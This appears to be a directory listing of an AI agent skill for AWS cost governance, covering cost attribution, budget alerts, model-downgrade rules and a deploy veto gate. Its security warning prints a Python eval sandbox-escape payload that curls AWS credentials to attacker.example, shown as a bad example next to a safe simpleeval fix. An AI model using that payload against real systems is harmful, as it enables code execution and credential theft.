SuperAPI AI Directory
Partner with us中文AI newsFavorites
Skillscost-governance

cost-governance

Agents & models

View repository

Updated 10-15 19:58

About this skill

When to Use

  • Daily 00:00 UTC cron — aggregate previous day's per-agent costs and check burn rate against the monthly cumulative total.
  • autopilot-deploypre-flight gate — veto decision when the deployment target is likely to exceed the budget ceiling.
  • Alert on reaching 80% / 95% of the monthly budget.
  • Generate downgrade recommendations for agents whose token usage patterns exceed 2× the average.

Exclusions:

  • Periods where cost data has not yet been reflected in Cost Explorer (there is a 24–48 hour lag).
  • Projects without a budget definition (.omao/plans/cost/budget.yaml) — a budget definition is required first.

Prerequisites

  • awslabs.aws-pricing-mcp-server==1.0.28 — look up model and instance unit prices (@latest prohibited, PyPI version pin).
  • awslabs.cost-explorer-mcp-server==0.0.21 — look up measured cost and usage.
  • Cost Allocation Tags — EKS Pods and Bedrock calls must have the agent=<name>, env=<prod|stage> tag attached.
  • Monthly budget definition: .omao/plans/cost/budget.yaml.
  • autopilot-deployaccess to the deployment request queue (insert veto gate).

Budget definition example:

# .omao/plans/cost/budget.yaml
monthly_ceiling_usd:
  total: 50000
  per_agent:
    rag-qa-agent: 8000
    code-reviewer-agent: 5000
    incident-triage-agent: 3000
alerts:
  - at_percent: 80
    action: notify
  - at_percent: 95
    action: veto-new-deploys
  - at_percent: 100
    action: freeze-and-escalate
downgrade_recommendations:
  enable: true
  models:
    - from: claude-opus-4-7
      to: claude-sonnet-4-6
      when: "avg_complexity_score < 0.4 for 7 days"
    - from: claude-sonnet-4-6
      to: claude-haiku-4-5
      when: "avg_token_output < 200 and avg_complexity_score < 0.3"

4-Phase Governance

Phase 1: Cost Attribution — Per-Agent Cost Attribution

Query the previous day's Cost Explorer data via a daily cron and aggregate costs by the agent tag.

YESTERDAY=$(date -u -d 'yesterday' +%Y-%m-%d)
TODAY=$(date -u +%Y-%m-%d)

# MCP via awslabs.cost-explorer-mcp-server
# mcp__cost_explorer__get_cost_and_usage \
#   --time-period "Start=$YESTERDAY,End=$TODAY" \
#   --granularity DAILY \
#   --group-by '[{"Type":"TAG","Key":"agent"}]' \
#   --metrics '["UnblendedCost","UsageQuantity"]'

aws ce get-cost-and-usage \
  --time-period Start=$YESTERDAY,End=$TODAY \
  --granularity DAILY \
  --group-by Type=TAG,Key=agent \
  --metrics UnblendedCost UsageQuantity \
  > .omao/plans/cost/daily-${YESTERDAY}.json

The aggregation results are organized into the {agent, daily_usd, mtd_usd, projected_monthly_usd} structure.

Phase 2: Budget Alert — Threshold Detection

Calculate the ratio of monthly cumulative (mtd_usd) vs monthly budget (monthly_ceiling_usd) and issue an alert.

import yaml, json
from datetime import datetime

budget = yaml.safe_load(open(".omao/plans/cost/budget.yaml"))
cost = json.load(open(f".omao/plans/cost/daily-{yesterday}.json"))

for agent, data in cost.items():
    ceiling = budget["monthly_ceiling_usd"]["per_agent"].get(agent)
    if not ceiling:
        continue
    pct = (data["mtd_usd"] / ceiling) * 100
    for alert in budget["alerts"]:
        if pct >= alert["at_percent"]:
            emit_alert(agent, pct, alert["action"])
  • notify — Send Slack/Email notifications only.
  • veto-new-deploys — autopilot-deployMark the pre-flight gate status file of vetoedas
  • freeze-and-escalate — Freeze all new deployments + page the FinOps team.

Phase 3: Model Downgrade Recommendation

Compute per-agent avg_complexity_score, avg_token_output metrics from Langfuse traces to detect downgrade opportunities.

⚠️ Security — rule["when"] is a string from the user-editable .omao/plans/cost/budget.yaml . Never put it into Python eval() / exec() . budget.yaml would be able to execute arbitrary code (exposing IAM credentials, /.aws/credentials, and Bedrock tokens alike), which is an RCE vector. Always use sandboxed expression evaluator — simpleeval or asteval — parse the expression into an AST and expose only arithmetic and comparison operators and allowed names (complexity, output).

# pip install simpleeval
from simpleeval import SimpleEval, NameNotDefined, InvalidExpression

def eval_condition(expression: str, **context) -> bool:
    """Evaluate a budget.yaml `when:` expression safely.

    Uses simpleeval's AST-walking sandbox — NO builtins, NO imports, NO attribute
    access, NO function calls except those we explicitly allowlist. Raises on
    unknown names instead of silently returning False.
    """
    evaluator = SimpleEval(names=context, functions={})  # zero callables exposed
    try:
        result = evaluator.eval(expression)
    except (NameNotDefined, InvalidExpression, SyntaxError) as e:
        raise ValueError(f"invalid budget rule {expression!r}: {e}") from e
    return bool(result)


def evaluate_downgrade(agent: str) -> list[dict]:
    # Query traces via MCP tool mcp__langfuse__query_traces (configured in observability.trace_mcp)
    # Cost data itself comes from mcp__cost-explorer; trace-derived metrics are optional
    # If observability.trace_mcp is null, skip trace-derived analysis
    traces = query_traces_via_mcp(agent=agent, days=7)
    if not traces:
        return []  # No trace MCP configured, skip downgrade recommendations
    complexity = mean([t["complexity_score"] for t in traces])
    output_tokens = mean([t["output_tokens"] for t in traces])

    recs = []
    for rule in budget["downgrade_recommendations"]["models"]:
        if eval_condition(rule["when"], complexity=complexity, output=output_tokens):
            savings = estimate_monthly_savings(agent, rule["from"], rule["to"])
            recs.append({
                "agent": agent,
                "from": rule["from"],
                "to": rule["to"],
                "estimated_monthly_savings_usd": savings,
                "evidence": {"complexity": complexity, "output_tokens": output_tokens},
            })
    return recs

Bad Example — Never Do This

# ❌ 절대 금지: budget.yaml 은 사용자 편집 가능 → RCE 벡터.
def eval_condition(expression: str, **context) -> bool:
    return bool(eval(expression, {"__builtins__": {}}, context))  # noqa: S307

With a single line of budget.yaml like the one below, AWS credentials leak to an attacker's S3 bucket (__builtins__ can be bypassed even if left empty):

downgrade_recommendations:
  models:
    - from: claude-opus-4-7
      to: claude-sonnet-4-6
      when: "().__class__.__bases__[0].__subclasses__()[108].__init__.__globals__['sys'].modules['os'].system('curl https://attacker.example/x -d @$HOME/.aws/credentials')"

eval() / exec() / compile() is never used on strings outside the trust boundary. Use only an allowlist-based AST evaluator.

Recommendations are automatically generated as Draft PRs. Approval is performed directly by the platform team.

## Model Downgrade Recommendation

**Agent**: `code-reviewer-agent`
**Current**: `claude-opus-4-7`
**Recommended**: `claude-sonnet-4-6`

### Evidence (7-day window)
- Average complexity score: 0.32 (threshold < 0.4)
- Average output tokens: 180 (threshold < 200)
- Tool invocation variety: 3/12 available tools actually used

### Estimated Impact
- Monthly savings: $1,840
- Expected quality delta (based on continuous-eval regression test):
  - faithfulness: -0.01 (within noise)
  - answer_relevancy: +0.00

### Verification Plan
1. Shadow test with Sonnet for 48h at 10% traffic
2. `continuous-eval` full run on golden dataset
3. If regression < 2pp, approve full downgrade

Phase 4: Deploy Veto — Pre-flight Gate

autopilot-deployrequests pre-flight approval from this skill before starting a new deployment.

# autopilot-deploy 호출 시 내부적으로 실행
CURRENT_MTD_PCT=$(jq -r '.total.mtd_pct' .omao/plans/cost/current-month.json)
NEW_DEPLOY_ESTIMATED_COST=$(estimate_deploy_cost "$TARGET" "$VERSION")

if [ "$(echo "$CURRENT_MTD_PCT + $NEW_DEPLOY_ESTIMATED_COST > 95" | bc)" -eq 1 ]; then
    echo '{"decision":"veto","reason":"projected monthly ceiling exceeded"}' \
      > .omao/state/autopilot-deploy/preflight-${TARGET}.json
    exit 1
fi

echo '{"decision":"pass"}' > .omao/state/autopilot-deploy/preflight-${TARGET}.json

Veto is [performed by] a human .omao/plans/cost/overrides/${target}.yaml You can release it by writing an override reason.

State Management

  • .omao/plans/cost/daily-${date}.json — Daily cost aggregation
  • .omao/plans/cost/current-month.json — Monthly cumulative (updated daily)
  • .omao/plans/cost/alerts/${timestamp}.json — History of alerts that occurred
  • .omao/plans/cost/recommendations/${agent}-${date}.md — Downgrade recommendation PR draft
  • .omao/state/autopilot-deploy/preflight-${target}.json — Pre-flight gate results

Example Inputs/Outputs

Input: /cost-governance --daily

Output:

[00:15Z] Fetching Cost Explorer data for 2026-04-20
[00:16Z] Agents tracked: 7
[00:16Z] MTD summary:
         rag-qa-agent       : $6,430 / $8,000 (80.4%) ALERT: notify
         code-reviewer      : $4,210 / $5,000 (84.2%) ALERT: notify
         incident-triage    : $1,950 / $3,000 (65.0%) ok
         total              : $42,850 / $50,000 (85.7%) ALERT: notify
[00:17Z] Downgrade opportunities:
         code-reviewer-agent: opus → sonnet, est savings $1,840/mo
         → Draft PR created: .omao/plans/cost/recommendations/code-reviewer-20260421.md
[00:18Z] Autopilot pre-flight: veto threshold NOT reached. New deploys allowed.

Input (pre-flight): /cost-governance --preflight rag-qa-agent:v2.3.1

Output (veto):

[11:00Z] Pre-flight cost check for rag-qa-agent:v2.3.1
[11:00Z] Current MTD: $47,500 / $50,000 (95.0%)
[11:00Z] Estimated deploy additional cost: $2,800
[11:00Z] Projected: $50,300 / $50,000 (100.6%)
[11:00Z] Decision: VETO
[11:00Z] Reason: projected monthly ceiling exceeded
[11:00Z] Override path: .omao/plans/cost/overrides/rag-qa-agent.yaml

References

Official Documentation

Tech Blog

Related Documents (Internal)